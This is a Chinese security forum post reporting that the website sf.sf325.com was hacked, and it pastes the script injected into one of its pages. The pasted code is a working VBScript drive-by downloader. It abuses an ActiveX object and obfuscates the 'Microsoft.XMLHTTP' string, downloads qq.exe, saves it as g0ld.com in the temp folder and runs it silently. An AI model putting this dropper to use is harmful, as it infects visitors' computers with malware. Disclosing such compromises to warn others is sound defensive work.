fujianwzh
中级用户
积分 252
发帖 216
注册 2006-8-17
|
#1 http://sf.sf325.com被黑
http://sf.sf325.com被黑
http://sf.sf325.com/it/index.htm
<SCRIPT>var Words="<html>
<script language="VBScript">
on error resume next
dl = "http://sf.sf325.com/it/qq.exe"
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
a1="Mi"
a2="cro"
a3="soft."
a4="XMLHTTP"
str1=a1&a2&a3&a4
Set x = df.CreateObject(str1,"")
set S = df.createobject("Adodb.Stream","")
S.type = 1
x.Open "GET", dl, False
x.Send
fname1="g0ld.com"
set F = df.createobject("Scripting.FileSystemObject","")
set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname1,"","","open",0
</script>
<head>
<title>Oh,my god!</title>
</head><body>
<center>You DO it!</center>
</body></html><script language=javascript>
<!--
var m_tc_server="vip7.t2t2.com";
var m_tc_website="105445";
var m_tc_parent_website="0";
var m_tc_style="2";
//-->
</script>
<script language=javascript src="http://vip7.t2t2.com/visit.js"></script>
";document.write(unescape(Words))</SCRIPT>
| |
※ ※ ※ 本文纯属【fujianwzh】个人意见，与【 微点交流论坛 】立场无关※ ※ ※
|
Google的后花园 →Googlegarden.blogspot.com
软件搜搜 soso →Softsoso.blogspot.com |
|
|
